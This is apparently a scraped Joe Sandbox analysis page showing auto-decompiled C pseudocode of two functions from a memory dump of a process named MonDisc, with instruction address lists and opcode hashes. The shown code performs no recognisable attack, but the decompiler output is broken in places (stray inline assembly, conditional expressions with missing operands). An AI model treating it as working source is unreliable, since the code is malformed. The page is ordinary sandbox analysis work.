				 *((short*)(_t484 + 0xba)) = E00007FF67FF6ED163C80( *((intOrPtr*)(_t553 + 0xb8)), _t484, _t484, _t550, _t542, _t546, _t550,  *(_t553 + 0x38));
				 *(_t484 + 0xbc) =  *(_t546 + 4) & 0x0000ffff;
				 *(_t484 + 0xb8) = _t334;
				E00007FF67FF6ED163C80( *((intOrPtr*)(_t553 + 0xb8)), _t484, _t484, _t550, _t542, _t546, _t550,  *(_t553 + 0x38));
				r14d = 0;
				_t547 = _t546 + 8;
				if (_t547 -  *((intOrPtr*)(_t553 + 0x30)) < 0) goto 0xed13c540;
				r13d =  *(_t553 + 0xa8);
				 *(_t553 + 0xb0) =  *(_t553 + 0xb0) + 1;
				goto 0xed13c402;
				if ( *((char*)(_t547 + 5)) != 0x5a) goto 0xed13c708;
				r14d = 0;
				if ( *((char*)( *(_t553 + 0x38) + 5)) != 0x53) goto 0xed13c70b;
				_t517 = _t484;
				 *((intOrPtr*)(_t484 + 0xba)) = 0x5a000000;
				 *(_t484 + 0xb8) = r14w;
				E00007FF67FF6ED163C80( *((intOrPtr*)(_t553 + 0x30)), _t484, _t517, _t550, _t542, _t547, _t550,  *(_t553 + 0x38));
				goto 0xed13c70b;
				r13d =  *(_t553 + 0xa8);
				r14d = 0;
				 *(_t553 + 0xb0) =  *(_t553 + 0xb0) + 1;
				goto 0xed13c402;
				r14d = 0;
				 *((long long*)(_t484 + 0xa0)) = _t484 + 0x25c + _t517 * 4;
				 *((intOrPtr*)(_t484 + 0xac)) = ( *( *((intOrPtr*)(_t553 + 0x40)) + 8) & 0x000000ff) -  *((intOrPtr*)(_t484 + 0xb0));
				E00007FF67FF6ED13BB10(_t349, _t484, _t484, _t550, _t542,  *((intOrPtr*)(_t553 + 0x78)), _t550, _t571, _t587,  *((intOrPtr*)(_t553 + 0x58)));
				if ( *(_t553 + 0xa0) == 0) goto 0xed13c80f;
				 *((intOrPtr*)(_t484 + 0xba)) = 0xf800000;
				 *(_t484 + 0xb8) = r14w;
				return E00007FF67FF6ED158BC0(_t484, _t484);
			}

0x7ff6ed13bfc0
0x7ff6ed13bfc0
0x7ff6ed13bfc6
0x7ff6ed13bfd3
0x7ff6ed13bfd6
0x7ff6ed13bfda
0x7ff6ed13bfdd
0x7ff6ed13bfe1
0x7ff6ed13bfe4
0x7ff6ed13bfe8
0x7ff6ed13bfeb
0x7ff6ed13bfef
0x7ff6ed13bff3
0x7ff6ed13bff7
0x7ff6ed13c008
0x7ff6ed13c00d
0x7ff6ed13c010
0x7ff6ed13c018
0x7ff6ed13c020
0x7ff6ed13c028
0x7ff6ed13c02c
0x7ff6ed13c031
0x7ff6ed13c038
0x7ff6ed13c03b
0x7ff6ed13c041
0x7ff6ed13c04a
0x7ff6ed13c051
0x7ff6ed13c05b
0x7ff6ed13c05f
0x7ff6ed13c062
0x7ff6ed13c065
0x7ff6ed13c069
0x7ff6ed13c06d
0x7ff6ed13c071
0x7ff6ed13c077
0x7ff6ed13c080
0x7ff6ed13c08a
0x7ff6ed13c092
0x7ff6ed13c094
0x7ff6ed13c096
0x7ff6ed13c0ab
0x7ff6ed13c0be
0x7ff6ed13c0d1
0x7ff6ed13c0da
0x7ff6ed13c0df
0x7ff6ed13c0e5
0x7ff6ed13c0ec
0x7ff6ed13c0f1
0x7ff6ed13c0f7
0x7ff6ed13c0fc
0x7ff6ed13c10b
0x7ff6ed13c10d
0x7ff6ed13c11a
0x7ff6ed13c12b
0x7ff6ed13c135
0x7ff6ed13c13a
0x7ff6ed13c14e
0x7ff6ed13c155
0x7ff6ed13c15a
0x7ff6ed13c15e
0x7ff6ed13c180
0x7ff6ed13c18e
0x7ff6ed13c190
0x7ff6ed13c193
0x7ff6ed13c19a
0x7ff6ed13c19e
0x7ff6ed13c1a4
0x7ff6ed13c1a9
0x7ff6ed13c1ab
0x7ff6ed13c1ae
0x7ff6ed13c1c2
0x7ff6ed13c1d0
0x7ff6ed13c1de
0x7ff6ed13c1ec
0x7ff6ed13c200
0x7ff6ed13c205
0x7ff6ed13c207
0x7ff6ed13c218
0x7ff6ed13c21b
0x7ff6ed13c227
0x7ff6ed13c22b
0x7ff6ed13c241
0x7ff6ed13c247
0x7ff6ed13c24a
0x7ff6ed13c258
0x7ff6ed13c25a
0x7ff6ed13c25e
0x7ff6ed13c261
0x7ff6ed13c26f
0x7ff6ed13c274
0x7ff6ed13c27b
0x7ff6ed13c27d
0x7ff6ed13c281
0x7ff6ed13c284
0x7ff6ed13c292
0x7ff6ed13c29a
0x7ff6ed13c2a3
0x7ff6ed13c2ae
0x7ff6ed13c2ae
0x7ff6ed13c2b5
0x7ff6ed13c2bb
0x7ff6ed13c2c7
0x7ff6ed13c2d3
0x7ff6ed13c2e1
0x7ff6ed13c2e3
0x7ff6ed13c2e9
0x7ff6ed13c2ed
0x7ff6ed13c2f1
0x7ff6ed13c307
0x7ff6ed13c324
0x7ff6ed13c32a
0x7ff6ed13c330
0x7ff6ed13c333
0x7ff6ed13c33d
0x7ff6ed13c342
0x7ff6ed13c34c
0x7ff6ed13c352
0x7ff6ed13c355
0x7ff6ed13c363
0x7ff6ed13c36a
0x7ff6ed13c36f
0x7ff6ed13c379
0x7ff6ed13c380
0x7ff6ed13c38e
0x7ff6ed13c396
0x7ff6ed13c39f
0x7ff6ed13c3a4
0x7ff6ed13c3a9
0x7ff6ed13c3ac
0x7ff6ed13c3b3
0x7ff6ed13c3be
0x7ff6ed13c3c6
0x7ff6ed13c3ca
0x7ff6ed13c3d9
0x7ff6ed13c3e1
0x7ff6ed13c3e7
0x7ff6ed13c3ea
0x7ff6ed13c3ed
0x7ff6ed13c3fc
0x7ff6ed13c405
0x7ff6ed13c40b
0x7ff6ed13c40f
0x7ff6ed13c413
0x7ff6ed13c422
0x7ff6ed13c42f
0x7ff6ed13c43b
0x7ff6ed13c44b
0x7ff6ed13c452
0x7ff6ed13c459
0x7ff6ed13c45f
0x7ff6ed13c461
0x7ff6ed13c466
0x7ff6ed13c476
0x7ff6ed13c478
0x7ff6ed13c47c
0x7ff6ed13c482
0x7ff6ed13c48d
0x7ff6ed13c494
0x7ff6ed13c49d
0x7ff6ed13c49f
0x7ff6ed13c4a3
0x7ff6ed13c4a9
0x7ff6ed13c4b4
0x7ff6ed13c4c8
0x7ff6ed13c4d2
0x7ff6ed13c4d9
0x7ff6ed13c4e0
0x7ff6ed13c4e3
0x7ff6ed13c4ea
0x7ff6ed13c4f4
0x7ff6ed13c4f7
0x7ff6ed13c506
0x7ff6ed13c50d
0x7ff6ed13c512
0x7ff6ed13c519
0x7ff6ed13c51e
0x7ff6ed13c521
0x7ff6ed13c527
0x7ff6ed13c52c
0x7ff6ed13c534
0x7ff6ed13c53a
0x7ff6ed13c544
0x7ff6ed13c551
0x7ff6ed13c55f
0x7ff6ed13c561
0x7ff6ed13c567
0x7ff6ed13c56b
0x7ff6ed13c56f
0x7ff6ed13c585
0x7ff6ed13c59d
0x7ff6ed13c5a1
0x7ff6ed13c5a7
0x7ff6ed13c5b0
0x7ff6ed13c5b3
0x7ff6ed13c5b8
0x7ff6ed13c5c4
0x7ff6ed13c5c9
0x7ff6ed13c5d0
0x7ff6ed13c5df
0x7ff6ed13c5e6
0x7ff6ed13c5e9
0x7ff6ed13c5ec
0x7ff6ed13c5f1
0x7ff6ed13c5f6
0x7ff6ed13c606
0x7ff6ed13c60c
0x7ff6ed13c61d
0x7ff6ed13c624
0x7ff6ed13c62c
0x7ff6ed13c638
0x7ff6ed13c640
0x7ff6ed13c64a
0x7ff6ed13c652
0x7ff6ed13c659
0x7ff6ed13c674
0x7ff6ed13c67f
0x7ff6ed13c683
0x7ff6ed13c686
0x7ff6ed13c689
0x7ff6ed13c697
0x7ff6ed13c69d
0x7ff6ed13c6b6
0x7ff6ed13c6bd
0x7ff6ed13c6c2
0x7ff6ed13c6ca
0x7ff6ed13c6d4
0x7ff6ed13c6e6
0x7ff6ed13c6f0
0x7ff6ed13c6f7
0x7ff6ed13c6fe
0x7ff6ed13c708
0x7ff6ed13c70b
0x7ff6ed13c712
0x7ff6ed13c71f
0x7ff6ed13c72e
0x7ff6ed13c735
0x7ff6ed13c743
0x7ff6ed13c745
0x7ff6ed13c74e
0x7ff6ed13c750
0x7ff6ed13c753
0x7ff6ed13c75d
0x7ff6ed13c765
0x7ff6ed13c76f
0x7ff6ed13c771
0x7ff6ed13c779
0x7ff6ed13c78a
0x7ff6ed13c791
0x7ff6ed13c796
0x7ff6ed13c7b4
0x7ff6ed13c7c9
0x7ff6ed13c7cf
0x7ff6ed13c7f3
0x7ff6ed13c7f8
0x7ff6ed13c802
0x7ff6ed13c819

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d457ea6f1bba70b287cfe89e2459790fc3edad17d651b272bf2fdbf15bc4e76a
Instruction ID: d61daa8517046bead30434d411754ec9a9b1114bd7968fa6d18468b08b55be47
Opcode Fuzzy Hash: d457ea6f1bba70b287cfe89e2459790fc3edad17d651b272bf2fdbf15bc4e76a
Instruction Fuzzy Hash: 4D32B263A087D286DB648F2594183FE77A2F749B84F454135EA8E87798EF3ED440C70A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED149F10 Relevance: .5, Instructions: 492
COMMONCrypto

Download Yara Rule

C-Code - Quality: 56%

			E00007FF67FF6ED149F10(long long __rbx, signed long long __rcx, void* __r8, void* __r11, signed int __r14) {
				void* __rdi;
				void* __rsi;
				void* __r13;
				void* __r15;
				signed int _t169;
				signed int _t172;
				void* _t174;
				signed int _t181;
				void* _t214;
				signed int _t216;
				signed int _t219;
				signed int _t220;
				signed char _t245;
				signed char _t246;
				signed int _t284;
				short _t292;
				intOrPtr _t294;
				signed int _t297;
				void* _t331;
				signed int _t332;
				signed int _t337;
				void* _t339;
				signed long long _t344;
				intOrPtr _t346;
				signed long long _t347;
				signed long long _t351;
				signed long long _t354;
				signed long long _t363;
				signed long long _t367;
				signed long long _t368;
				signed long long _t373;
				intOrPtr _t381;
				intOrPtr _t383;
				void* _t384;
				void* _t387;
				long long _t389;
				void* _t391;
				signed long long _t392;
				void* _t394;
				void* _t397;
				void* _t402;
				signed long long _t404;
				void* _t406;
				long long _t408;
				void* _t413;
				void* _t414;

				_t402 = __r11;
				_t394 = __r8;
				 *((long long*)(_t391 + 0x18)) = __rbx;
				 *((long long*)(_t391 + 0x20)) = _t389;
				_t392 = _t391 - 0xa0;
				_t344 =  *0xed2361d8; // 0x3623d5dd24d9
				 *(_t392 + 0x90) = _t344 ^ _t392;
				_t346 =  *((intOrPtr*)(__rcx + 0x118));
				_t363 = __rcx;
				 *(_t392 + 0x34) = 0;
				r12d = 0;
				r15d = 0;
				_t408 =  *((intOrPtr*)(_t346 + 0x20)) + 0x40000;
				 *((long long*)(_t392 + 0x40)) = _t408;
				if ( *((intOrPtr*)(__rcx + 0xdc)) == 0) goto 0xed149f7e;
				if ( *((intOrPtr*)(__rcx + 0x104)) - ( *(_t346 + 0x73) & 0x000000ff) <= 0) goto 0xed149f7e;
				E00007FF67FF6ED14F200(0, __rcx, __rcx, _t384, _t389, _t408, _t413, _t406);
				_t381 =  *((intOrPtr*)(_t363 + 0x90));
				r9d = 0xffffffe7;
				 *(_t392 + 0x30) = r9d;
				r8d =  *(_t381 + 0x40006) & 0x000000ff;
				if (r8b < 0) goto 0xed14a03f;
				asm("inc esp");
				if (( *(_t363 + 0xac) >> r8d & 0x00000001) != 0) goto 0xed149fc9;
				if (( *(_t381 + 0x40004) & 0x00000020) == 0) goto 0xed149fd0;
				 *(_t381 + 0x40006) = 0xff;
				_t216 =  *(_t408 + 6) & 0x000000ff;
				if (_t216 != r8d) goto 0xed149fe5;
				asm("inc ebp");
				 *(_t392 + 0x30) = r9d;
				goto 0xed14a03f;
				if (_t216 < 0) goto 0xed14a018;
				if (( *(_t363 + 0xa8) >> _t216 & 0x00000001) == 0) goto 0xed14a018;
				r8d = r8d | 0x00080200;
				asm("btr eax, ecx");
				r9d = _t216;
				 *(_t392 + 0x30) = r9d;
				E00007FF67FF6ED152330(0x8b0000fe, _t363, _t363, _t394, _t397);
				goto 0xed14a03a;
				r8d = r8d | 0x00080200;
				_t367 = _t363;
				E00007FF67FF6ED151EA0(0x8b0000fe, _t363, _t367, _t389,  *((intOrPtr*)(_t363 + 0x98)) - 0x160, _t413);
				r9d =  *(_t392 + 0x30);
				_t292 =  *((intOrPtr*)(_t363 + 0xcc));
				r8d = 1;
				 *((long long*)(_t392 + 0xd8)) = __r14;
				if (_t292 - 0x8000 <= 0) goto 0xed14a12a;
				_t347 =  *((intOrPtr*)(_t363 + 0x90));
				_t387 = _t347 + _t367 * 8;
				r14d =  *(_t363 + 0x198 + _t347 * 2) & 0x0000ffff;
				_t169 =  *(_t387 + 6) & 0x000000ff;
				if (_t169 < 0) goto 0xed14a0cd;
				asm("inc ecx");
				r8d = _t169;
				 *(_t392 + 0x30) = r9d;
				if (( *(_t347 + 7 + _t367 * 8) & 0x000000ff) == 0) goto 0xed14a0c5;
				_t368 = _t363;
				E00007FF67FF6ED153F10(_t368, _t387);
				if ( *((intOrPtr*)(_t363 + 0x80)) -  *((intOrPtr*)(_t363 + 0x88)) < 0) goto 0xed14a5ee;
				_t219 =  *(_t387 + 7) & 0x000000ff;
				r9d =  *(_t392 + 0x30);
				r8d = 1;
				goto 0xed14a0d8;
				if (_t219 == 0) goto 0xed14a0d8;
				 *(_t387 + 4) =  *(_t387 + 4) | 0x00000020;
				r12d = r8d;
				if (( *(_t387 + 6) & 0xff) != r14d) goto 0xed14a0f1;
				_t172 =  *(_t363 + 0xa8);
				asm("bts eax, edx");
				 *(_t363 + 0xa8) = _t172;
				goto 0xed14a11a;
				if (r14d - 0x100 < 0) goto 0xed14a108;
				if (_t172 < 0) goto 0xed14a11a;
				r15d = r8d;
				 *(_t392 + 0x34) = r8d;
				goto 0xed14a11a;
				if (_t172 >= 0) goto 0xed14a110;
				if (_t219 == 0) goto 0xed14a11a;
				 *((short*)(_t392 + 0x50 + __r14 * 2)) = _t292;
				asm("inc esp");
				if (_t292 - 1 - 0x8000 > 0) goto 0xed14a060;
				if ( *((intOrPtr*)(_t363 + 0xc0)) - 8 > 0) goto 0xed14a139;
				goto 0xed14a142;
				r14d = 0xffe7;
				_t220 =  *( *((intOrPtr*)(_t363 + 0x118)) + 0x66) & 0x0000ffff;
				_t174 = (0xfffffff8 << 2) - _t220;
				_t283 =  >=  ? _t174 : 0;
				_t221 =  >=  ? 0xfffffff8 << 2 : _t220;
				 *(_t392 + 0x38) =  >=  ? _t174 : 0;
				 *((short*)( *((intOrPtr*)(_t363 + 0x110)) + 0x66)) =  >=  ? 0xfffffff8 << 2 : _t220;
				if (r12d == 0) goto 0xed14a2e3;
				_t294 =  *((intOrPtr*)(_t363 + 0xcc));
				if (_t294 - 0x8000 <= 0) goto 0xed14a2e3;
				asm("o16 nop [eax+eax]");
				_t351 =  *((intOrPtr*)(_t363 + 0x90));
				_t245 =  *(_t351 + 4 + _t368 * 8) & 0x000000ff;
				_t414 = _t351 + _t368 * 8;
				if ((_t245 & 0x00000020) == 0) goto 0xed14a2cb;
				_t246 = _t245 & 0x000000df;
				 *(_t414 + 4) = _t246;
				r13d =  *(_t363 + 0x198 + _t351 * 2) & 0x0000ffff;
				r12d = r13d;
				r12d = r12d >> 8;
				if (r12d != 0) goto 0xed14a1d9;
				 *(_t414 + 6) = r13b & 0xffffffff | 0x00000080;
				goto 0xed14a1ed;
				if (_t387 + _t404 * 4 == ( *(_t414 + 7) & 0x000000ff) << 2) goto 0xed14a2cb;
				r8d = 0xffff0000;
				r8d =  >  ? r14d : r8d;
				r8d = r8d & r9d;
				if ((_t246 & 0x0000001f) - 0xd == 1) goto 0xed14a5dc;
				_t181 = E00007FF67FF6ED153050(_t294, (_t246 & 0x0000001f) - 0xd - 1, _t363, _t363, _t384, _t387);
				r9d =  *(_t414 + 7) & 0x000000ff;
				_t284 = _t181;
				r9d = r9d << 2;
				if (_t181 - 0x10 >= 0) goto 0xed14a24e;
				asm("inc ebp");
				r8d = r8d & 0x00080200;
				r8d = r8d + _t284;
				goto 0xed14a264;
				r8d = _t284;
				_t184 =  ==  ? 0x110ff2fc : 0x110ff3fc;
				 *(_t392 + 0x20) = r9d;
				_t254 =  ==  ? 0x110ff2fc : 0x110ff3fc;
				r9d = 4;
				E00007FF67FF6ED1520B0(_t214,  ==  ? 0x110ff2fc : 0x110ff3fc, _t363, _t363, _t384, _t394,  *((intOrPtr*)(_t363 + 0x98)) - 0x160);
				r9d =  *(_t392 + 0x30);
				asm("inc ecx");
				 *(_t392 + 0x30) = r9d;
				if (_t284 != r13d) goto 0xed14a2a0;
				asm("bts eax, esi");
				asm("btr edi, esi");
				goto 0xed14a2b3;
				_t188 =  !=  ? 1 :  *(_t392 + 0x34);
				 *(_t392 + 0x34) =  !=  ? 1 :  *(_t392 + 0x34);
				if ( *((intOrPtr*)(_t363 + 0x80)) -  *((intOrPtr*)(_t363 + 0x88)) < 0) goto 0xed14a5ee;
				_t331 = _t294 - 1 - 0x8000;
				if (_t331 > 0) goto 0xed14a190;
				r15d =  *(_t392 + 0x34);
				r8d = 0;
				_t354 =  *((intOrPtr*)(_t363 + 0x80));
				 *(_t354 - 4) =  *( *((intOrPtr*)(_t363 + 0x110)) + 0x68) & 0x0000ffff;
				 *((long long*)(_t363 + 0x80)) =  *((long long*)(_t363 + 0x80)) + 0xfffffffc;
				_t401 =  *((intOrPtr*)(_t363 + 0x98)) - 0x220;
				E00007FF67FF6ED151EA0(0xc70000fe, _t363, _t363, _t389,  *((intOrPtr*)(_t363 + 0x98)) - 0x220, _t414);
				if (_t331 == 0) goto 0xed14a338;
				r9d =  ~( *(_t392 + 0x38));
				r8d = 0x80204;
				E00007FF67FF6ED151600(0x838100, _t363);
				_t332 = r15d;
				if (_t332 == 0) goto 0xed14a420;
				if (_t332 == 0) goto 0xed14a420;
				asm("o16 nop [eax+eax]");
				asm("inc esp");
				asm("inc esp");
				if (( *(_t363 + 0x199 + _t354 * 2) & 0x000000ff) == 0) goto 0xed14a410;
				r9d = _t354 * 4;
				asm("inc esp");
				if (r8d - 0x10 >= 0) goto 0xed14a3d0;
				r10d = 0x8b0000fe;
				asm("sbb eax, eax");
				goto 0xed14a3e3;
				r10d = 0x100ff3fc;
				r10d =  ==  ? 0x100ff2fc : r10d;
				 *(_t392 + 0x20) = r9d;
				r9d = 4;
				_t373 = _t363;
				E00007FF67FF6ED1520B0(_t214, r10d, _t363, _t373, _t384, _t394,  *((intOrPtr*)(_t363 + 0x98)) - 0x220);
				if ( *((intOrPtr*)(_t363 + 0x80)) -  *((intOrPtr*)(_t363 + 0x88)) < 0) goto 0xed14a5ee;
				_t337 =  !( *(_t363 + 0xa8)) & 0xffffffe7;
				if (_t337 != 0) goto 0xed14a360;
				_t297 =  *(_t392 + 0x30);
				if (_t337 == 0) goto 0xed14a4de;
				asm("inc esp");
				asm("inc esp");
				asm("inc esp");
				 *(_t392 + 0x30) = _t297;
				asm("bts edx, eax");
				r9d =  *( *((intOrPtr*)(_t363 + 0x90)) + _t373 * 8 + 6) & 0x000000ff;
				if (r9d - 0x10 >= 0) goto 0xed14a4a3;
				r10d = 0x8b0000fe;
				asm("inc ebp");
				r8d = r8d & 0x00080200;
				r8d = r8d + r9d;
				goto 0xed14a4ac;
				r10d = 0x280f00fd;
				r8d = r9d;
				r9d = r11d;
				E00007FF67FF6ED152330(r10d, _t363, _t363,  *((intOrPtr*)(_t363 + 0x90)) + _t373 * 8,  *((intOrPtr*)(_t363 + 0x98)) - 0x220);
				_t339 =  *((intOrPtr*)(_t363 + 0x80)) -  *((intOrPtr*)(_t363 + 0x88));
				if (_t339 < 0) goto 0xed14a5ee;
				if (_t339 != 0) goto 0xed14a440;
				if (0 == 0) goto 0xed14a550;
				if (0 == 0) goto 0xed14a50f;
				if (0 == 0) goto 0xed14a5f7;
				asm("inc esp");
				asm("bsf edx, eax");
				E00007FF67FF6ED153D20( *(_t363 + 0xa8) &  !0x00000000 & _t297 & r14d, _t363, _t363, _t384, _t387,  *((intOrPtr*)(_t363 + 0x98)) - 0x220, _t402);
				if (0 == 0) goto 0xed14a537;
				if (0 == 0) goto 0xed14a609;
				asm("inc esp");
				asm("bsf edx, eax");
				E00007FF67FF6ED153D20( *(_t363 + 0xa8) &  !0x00000000 & _t297 & 0xffff0000, _t363, _t363, _t384, _t387, _t401, _t402);
				if ( *((intOrPtr*)(_t363 + 0x80)) -  *((intOrPtr*)(_t363 + 0x88)) < 0) goto 0xed14a5ee;
				goto 0xed14a420;
				 *((char*)( *((intOrPtr*)(_t363 + 0x110)) + 0x73)) =  *( *((intOrPtr*)(_t363 + 0x118)) + 0x73) & 0x000000ff;
				_t383 =  *((intOrPtr*)(_t363 + 0x110));
				r10d =  *((intOrPtr*)(_t363 + 0x104));
				if (r10d - ( *(_t383 + 0x73) & 0x000000ff) <= 0) goto 0xed14a5a8;
				r9d = _t297 & r14d;
				 *(_t383 + 0x73) = r10b;
				 *(_t392 + 0x20) =  *( *((intOrPtr*)(_t363 + 0x98)) + 0xbcc);
				return E00007FF67FF6ED173DE0(E00007FF67FF6ED14FA90( *((intOrPtr*)(_t363 + 0x104)), _t363, _t363, _t383, _t387, _t389,  *((intOrPtr*)(_t392 + 0x40)), _t404, _t384),  *( *((intOrPtr*)(_t363 + 0x98)) + 0xbcc),  *(_t392 + 0x90) ^ _t392);
			}

0x7ff6ed149f10
0x7ff6ed149f10
0x7ff6ed149f10
0x7ff6ed149f15
0x7ff6ed149f22
0x7ff6ed149f29
0x7ff6ed149f33
0x7ff6ed149f3b
0x7ff6ed149f44
0x7ff6ed149f47
0x7ff6ed149f4d
0x7ff6ed149f50
0x7ff6ed149f57
0x7ff6ed149f5e
0x7ff6ed149f69
0x7ff6ed149f75
0x7ff6ed149f79
0x7ff6ed149f7e
0x7ff6ed149f85
0x7ff6ed149f8b
0x7ff6ed149f90
0x7ff6ed149f9b
0x7ff6ed149faa
0x7ff6ed149fbe
0x7ff6ed149fc7
0x7ff6ed149fc9
0x7ff6ed149fd0
0x7ff6ed149fd8
0x7ff6ed149fda
0x7ff6ed149fde
0x7ff6ed149fe3
0x7ff6ed149fe7
0x7ff6ed149ff3
0x7ff6ed149ff8
0x7ff6ed149fff
0x7ff6ed14a002
0x7ff6ed14a008
0x7ff6ed14a011
0x7ff6ed14a016
0x7ff6ed14a01f
0x7ff6ed14a032
0x7ff6ed14a035
0x7ff6ed14a03a
0x7ff6ed14a03f
0x7ff6ed14a045
0x7ff6ed14a04b
0x7ff6ed14a059
0x7ff6ed14a060
0x7ff6ed14a069
0x7ff6ed14a078
0x7ff6ed14a081
0x7ff6ed14a087
0x7ff6ed14a089
0x7ff6ed14a08d
0x7ff6ed14a090
0x7ff6ed14a097
0x7ff6ed14a09c
0x7ff6ed14a09f
0x7ff6ed14a0b2
0x7ff6ed14a0b8
0x7ff6ed14a0c0
0x7ff6ed14a0c5
0x7ff6ed14a0cb
0x7ff6ed14a0cf
0x7ff6ed14a0d1
0x7ff6ed14a0d5
0x7ff6ed14a0de
0x7ff6ed14a0e0
0x7ff6ed14a0e6
0x7ff6ed14a0e9
0x7ff6ed14a0ef
0x7ff6ed14a0f8
0x7ff6ed14a0fc
0x7ff6ed14a0fe
0x7ff6ed14a101
0x7ff6ed14a106
0x7ff6ed14a10a
0x7ff6ed14a10e
0x7ff6ed14a110
0x7ff6ed14a116
0x7ff6ed14a122
0x7ff6ed14a133
0x7ff6ed14a137
0x7ff6ed14a149
0x7ff6ed14a14f
0x7ff6ed14a155
0x7ff6ed14a157
0x7ff6ed14a163
0x7ff6ed14a167
0x7ff6ed14a16b
0x7ff6ed14a172
0x7ff6ed14a178
0x7ff6ed14a184
0x7ff6ed14a18a
0x7ff6ed14a190
0x7ff6ed14a199
0x7ff6ed14a19e
0x7ff6ed14a1a5
0x7ff6ed14a1ab
0x7ff6ed14a1b4
0x7ff6ed14a1b8
0x7ff6ed14a1c1
0x7ff6ed14a1c4
0x7ff6ed14a1cb
0x7ff6ed14a1d3
0x7ff6ed14a1d7
0x7ff6ed14a1e7
0x7ff6ed14a1f0
0x7ff6ed14a1ff
0x7ff6ed14a203
0x7ff6ed14a206
0x7ff6ed14a211
0x7ff6ed14a216
0x7ff6ed14a21b
0x7ff6ed14a222
0x7ff6ed14a229
0x7ff6ed14a23f
0x7ff6ed14a242
0x7ff6ed14a249
0x7ff6ed14a24c
0x7ff6ed14a259
0x7ff6ed14a261
0x7ff6ed14a264
0x7ff6ed14a269
0x7ff6ed14a26b
0x7ff6ed14a274
0x7ff6ed14a279
0x7ff6ed14a27e
0x7ff6ed14a282
0x7ff6ed14a28a
0x7ff6ed14a292
0x7ff6ed14a29b
0x7ff6ed14a29e
0x7ff6ed14a2ac
0x7ff6ed14a2af
0x7ff6ed14a2c1
0x7ff6ed14a2cd
0x7ff6ed14a2d3
0x7ff6ed14a2d9
0x7ff6ed14a2ea
0x7ff6ed14a2f6
0x7ff6ed14a2fd
0x7ff6ed14a30a
0x7ff6ed14a312
0x7ff6ed14a319
0x7ff6ed14a320
0x7ff6ed14a322
0x7ff6ed14a32a
0x7ff6ed14a333
0x7ff6ed14a338
0x7ff6ed14a33b
0x7ff6ed14a34c
0x7ff6ed14a357
0x7ff6ed14a360
0x7ff6ed14a364
0x7ff6ed14a37d
0x7ff6ed14a383
0x7ff6ed14a391
0x7ff6ed14a3ab
0x7ff6ed14a3af
0x7ff6ed14a3c4
0x7ff6ed14a3ce
0x7ff6ed14a3d3
0x7ff6ed14a3df
0x7ff6ed14a3e3
0x7ff6ed14a3eb
0x7ff6ed14a3f4
0x7ff6ed14a3f7
0x7ff6ed14a40a
0x7ff6ed14a410
0x7ff6ed14a412
0x7ff6ed14a428
0x7ff6ed14a42e
0x7ff6ed14a440
0x7ff6ed14a44b
0x7ff6ed14a44f
0x7ff6ed14a453
0x7ff6ed14a466
0x7ff6ed14a46f
0x7ff6ed14a478
0x7ff6ed14a487
0x7ff6ed14a494
0x7ff6ed14a497
0x7ff6ed14a49e
0x7ff6ed14a4a1
0x7ff6ed14a4a3
0x7ff6ed14a4a9
0x7ff6ed14a4ac
0x7ff6ed14a4b5
0x7ff6ed14a4c1
0x7ff6ed14a4c8
0x7ff6ed14a4d8
0x7ff6ed14a4e0
0x7ff6ed14a4eb
0x7ff6ed14a4f4
0x7ff6ed14a4fa
0x7ff6ed14a4fe
0x7ff6ed14a504
0x7ff6ed14a516
0x7ff6ed14a522
0x7ff6ed14a528
0x7ff6ed14a52c
0x7ff6ed14a532
0x7ff6ed14a545
0x7ff6ed14a54b
0x7ff6ed14a562
0x7ff6ed14a565
0x7ff6ed14a56c
0x7ff6ed14a57a
0x7ff6ed14a586
0x7ff6ed14a592
0x7ff6ed14a59c
0x7ff6ed14a5db

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e2335defc05470652cacf1826bc572c743a56285480e24ca903dfe798801266
Instruction ID: bef17a99331fd3b0c7349b8620ed6635c074968d377aa718bf01439d71c746ac
Opcode Fuzzy Hash: 1e2335defc05470652cacf1826bc572c743a56285480e24ca903dfe798801266
